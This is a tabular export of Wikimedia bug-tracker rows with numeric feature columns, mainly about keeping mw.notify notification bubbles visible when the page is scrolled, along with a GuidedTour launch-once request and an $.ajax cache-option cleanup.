Fixed position.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1373144520,1374636514.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.5,1.0,5.0,2.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,9.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,16.0,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.5,8.0,2.5,2.0,10.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,9.0,1.5,0.0,0.5,0.0,0.5,0.0,1.5,1.5,0.0,1.5,0.0,0.0,1.0,4.23062015503876,0.6587810745789896,"Original bug title:
mediawiki.notification should show the notification bubble relative to the screen, not to the document

Current behaviour:
Calling mw.notify(""abc"") in JavaScript creates a message-bubble somewhere below the first <h1> heading (the title) and the bubble disappears after about 5s.

Why this is an issue:
But if you have scrolled-down the page, the notification disappears without being read.

Where is this an issue:
For example, when marking large new pages as patrolled, the patrol link is at the bottom of the page and the message whether patrolling succeeded is not visible to the user. Or at custom gadgets/user scripts.

Expected behaviour:
Bubble shown, no matter of the current scroll position.

Possible implementation:
Fixed position.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
240004,mediawiki.notification: Notification area should remain visible when scrolled down,*** Bug 48689 has been marked as a duplicate of this bug. ***,,,1381254374,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48689 has been marked as a duplicate of this bug. ***
239997,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75662 had a related patch set uploaded by Matmarex:
mw.notification: Fix incorrect initial offset

https://gerrit.wikimedia.org/r/75662",,,1374689170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.15,0.95,"Change 75662 had a related patch set uploaded by Matmarex:
mw.notification: Fix incorrect initial offset

GERRIT_URL"
239990,mediawiki.notification: Notification area should remain visible when scrolled down,"@se4598, thanks for the report, I7444bf55 should fix this. Sorry!",,,1374689138,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.9285714285714286,"SCREEN_NAME, thanks for the report, I7444bf55 should fix this. Sorry!"
239982,mediawiki.notification: Notification area should remain visible when scrolled down,"above change deployed recently doesn't work for me; breaks UI:
* notification doesn't scroll with
* blocks user bar and other tabs in the top right corner
* css style changed

experienced in firefox 22 as well in chrome",,,1374687551,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.9361702127659575,0.8297872340425532,"above change deployed recently doesn't work for me; breaks UI:
* notification doesn't scroll with
* blocks user bar and other tabs in the top right corner
* css style changed

experienced in firefox 22 as well in chrome"
239976,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75614 merged by Catrope:
mediawiki.notification: Make notification area sticky to window

https://gerrit.wikimedia.org/r/75614",,,1374679819,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.705882352941177,0.9411764705882353,"Change 75614 merged by Catrope:
mediawiki.notification: Make notification area sticky to window

GERRIT_URL"
239974,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75611 merged by Catrope:
mediawiki.notification: Make notification area sticky to window

https://gerrit.wikimedia.org/r/75611",,,1374679699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.705882352941177,0.9411764705882353,"Change 75611 merged by Catrope:
mediawiki.notification: Make notification area sticky to window

GERRIT_URL"
239971,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75614 had a related patch set uploaded by Catrope:
mediawiki.notification: Make notification area sticky to window

https://gerrit.wikimedia.org/r/75614",,,1374678751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.363636363636363,0.9545454545454546,"Change 75614 had a related patch set uploaded by Catrope:
mediawiki.notification: Make notification area sticky to window

GERRIT_URL"
239968,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75611 had a related patch set uploaded by Catrope:
mediawiki.notification: Make notification area sticky to window

https://gerrit.wikimedia.org/r/75611",,,1374678540,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.363636363636363,0.9545454545454546,"Change 75611 had a related patch set uploaded by Catrope:
mediawiki.notification: Make notification area sticky to window

GERRIT_URL"
239963,mediawiki.notification: Notification area should remain visible when scrolled down,"Fixed in the above patch, which we will deploy tomorrow as a cherry-pick given the need to fix this urgently for VisualEditor.",,,1374636514,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,0.9615384615384616,"Fixed in the above patch, which we will deploy tomorrow as a cherry-pick given the need to fix this urgently for VisualEditor."
239958,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 72322 merged by jenkins-bot:
mediawiki.notification: Make notification area sticky to window

https://gerrit.wikimedia.org/r/72322",,,1374636426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,"Change 72322 merged by jenkins-bot:
mediawiki.notification: Make notification area sticky to window

GERRIT_URL"
239955,mediawiki.notification: Notification area should remain visible when scrolled down,*** Bug 51785 has been marked as a duplicate of this bug. ***,,,1374449520,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51785 has been marked as a duplicate of this bug. ***
239950,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 73948 abandoned by Krinkle:
Use fixed position for notifications

Reason:
Dupe of Icb7cd68f484 (which has existed longer)

https://gerrit.wikimedia.org/r/73948",,,1373984219,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.666666666666667,0.8888888888888888,"Change 73948 abandoned by Krinkle:
Use fixed position for notifications

Reason:
Dupe of Icb7cd68f484 (which has existed longer)

GERRIT_URL"
239943,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 73948 had a related patch set uploaded by Helder.wiki:
Use fixed position for notifications

https://gerrit.wikimedia.org/r/73948",,,1373982414,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,1.0,"Change 73948 had a related patch set uploaded by Helder.wiki:
Use fixed position for notifications

GERRIT_URL"
239934,mediawiki.notification: Notification area should remain visible when scrolled down,*** Bug 51432 has been marked as a duplicate of this bug. ***,,,1373982177,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51432 has been marked as a duplicate of this bug. ***
239924,mediawiki.notification: Notification area should remain visible when scrolled down,">Argh, I forgot that position:fixed is always relative to the entire document, >not to any positioned ancestor.
This is only true if you set top,left,right or bottom, AFAIK. Look at [[:commons:Special:Permalink/99667607]] (the grey DIV 2 inner is fixed)

See also http://stackoverflow.com/questions/8712047/positionfixed-when-left-top-right-bottom-arent-specified-desired-results-in

If one still wants to use something fancier (and one will have to for safari, unfortunately), one may use jQuery:
offset ( http://api.jquery.com/offset/ ) -- ""Get the current coordinates of the first element in the set of matched elements, relative to the document.""
This way one can get the position of mw.util.$content and add 1em. Here is an example implementation (one has to execute the positioning code every time the message is shown or one has to catch window.resize events).

var $content = mw.util.$content,
    $container = $('<div>').appendTo($content)
    $n = $('<div>').text('Message here').css({
     'float': 'right', // Set this in CSS so Janus can flip!
     'margin':  '1em'
    }).appendTo($container),
    o = $content.offset();
    
$container.css({
    position: 'fixed',
    width: $content.width()
}).offset(o);

Feel free to improve (padding of mw.util.$content is not respected) and note that styles are also touched in skin files like skins/vector/screen.css ( https://git.wikimedia.org/blob/mediawiki%2Fcore.git/9cbd77868a92022170348504fb5444e4e1f302fa/skins%2Fvector%2Fscreen.css#L807 )",,,1373281154,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,1,,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,4.333333333333333,1.0,0.0,0.0,0.6666666666666666,1.0,4.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,7.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,4.333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,14.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.666666666666667,1.3333333333333333,1.6666666666666667,4.333333333333333,0.0,0.0,0.3333333333333333,0.0,6.0,0.3333333333333333,1.0,0.0,2.0,7.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,3.692883895131086,0.6891385767790262,"QUOTE
This is only true if you set top,left,right or bottom, AFAIK. Look at [[:commons:Special:Permalink/99667607]] (the grey DIV 2 inner is fixed)

See also URL

If one still wants to use something fancier (and one will have to for safari, unfortunately), one may use jQuery:
offset ( URL ) -- ""Get the current coordinates of the first element in the set of matched elements, relative to the document.""
This way one can get the position of mw.util.$content and add 1em. Here is an example implementation (one has to execute the positioning code every time the message is shown or one has to catch window.resize events).

var $content = mw.util.$content,
    $container = $('<div>').appendTo($content)
    $n = $('<div>').text('Message here').css({
     'float': 'right', // Set this in CSS so Janus can flip!
     'margin':  '1em'
    }).appendTo($container),
    o = $content.offset();
    
$container.css({
    position: 'fixed',
    width: $content.width()
}).offset(o);

Feel free to improve (padding of mw.util.$content is not respected) and note that styles are also touched in skin files like skins/vector/screen.css ( URL )"
239918,mediawiki.notification: Notification area should remain visible when scrolled down,"Heh, I though they behave in this way. Seems like an obvious enhancement.",,,1373147615,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,19.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.9375,"Heh, I though they behave in this way. Seems like an obvious enhancement."
239914,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 72322 had a related patch set uploaded by Matmarex:
mediawiki.notification: Show the notifications relative to the screen

https://gerrit.wikimedia.org/r/72322",,,1373147590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.391304347826087,0.9130434782608695,"Change 72322 had a related patch set uploaded by Matmarex:
mediawiki.notification: Show the notifications relative to the screen

GERRIT_URL"
52847,"Allow launching once per-user, per-situation","Allow launching a tour while limiting it to once per-user.  The idea is that GuidedTour handles this, so the calling code (GettingStarted, VisualEditor, etc.) doesn't need to think about hidden user preferences, etc.  I'll call it launchOnceForUser as illustration; better name suggestions welcome

Example use case: The VisualEditor edit screen calls launchOncePerUser, then GuidedTour decides internally whether to launch it based on whether the user has already seen it.

Ideally, it will allow launching immediately, and pre-launching by setting a cookie (we did this once with GettingStarted).

--------------------------
**Version**: master
**Severity**: enhancement",Medium,50.0,1373067480,,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-jza5e4mrwocbbyclpgux,task_description,open,True,c1,3,True,False,,0,,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,5.5,8.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,2.0,3.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,2.0,3.5,0.0,0.0,0.0,0.0,0.0,10.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,3.5,0.5,8.5,2.5,1.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,4.5,8.0,5.5,0.0,0.0,0.0,4.5,0.0,0.0,1.5,0.0,4.0,0.5,0.0,2.0,4.406490275893261,0.7816598824061511,"Allow launching a tour while limiting it to once per-user.  The idea is that GuidedTour handles this, so the calling code (GettingStarted, VisualEditor, etc.) doesn't need to think about hidden user preferences, etc.  I'll call it launchOnceForUser as illustration; better name suggestions welcome

Example use case: The VisualEditor edit screen calls launchOncePerUser, then GuidedTour decides internally whether to launch it based on whether the user has already seen it.

Ideally, it will allow launching immediately, and pre-launching by setting a cookie (we did this once with GettingStarted).

--------------------------
**Version**: master
**Severity**: enhancement"
238673,"Allow launching once per-user, per-situation","I need to think about whether this should go in the tour specification (defineTour), the launch site, or both.",,,1373067634,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-jza5e4mrwocbbyclpgux,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,4.0,17.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"I need to think about whether this should go in the tour specification (defineTour), the launch site, or both."
52840,VisualEditor: Clean up 'cache': 'false',"We have lots of occurrences of 'cache': 'false' in $.ajax invocations in our code, and only one occurrence of 'cache': true. Based on the documentation, it seems to me that 'cache' should pretty much never be set to false. But then again, we set it to the string 'false', not the boolean false.

This seems bad and in need of cleanup. Assigning to Timo.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373062140,1393640938.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-qx22rnw4roeugdfib5hc,task_description,resolved,True,c1,3,False,False,False,0,,0.5,0.0,0.0,0.5,1.0,6.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.5,0.0,2.5,0.0,5.0,8.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,7.0,0.5,2.5,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,4.0,8.5,1.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,3.5052612481857763,0.6759796806966618,"We have lots of occurrences of 'cache': 'false' in $.ajax invocations in our code, and only one occurrence of 'cache': true. Based on the documentation, it seems to me that 'cache' should pretty much never be set to false. But then again, we set it to the string 'false', not the boolean false.

This seems bad and in need of cleanup. Assigning to Timo.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
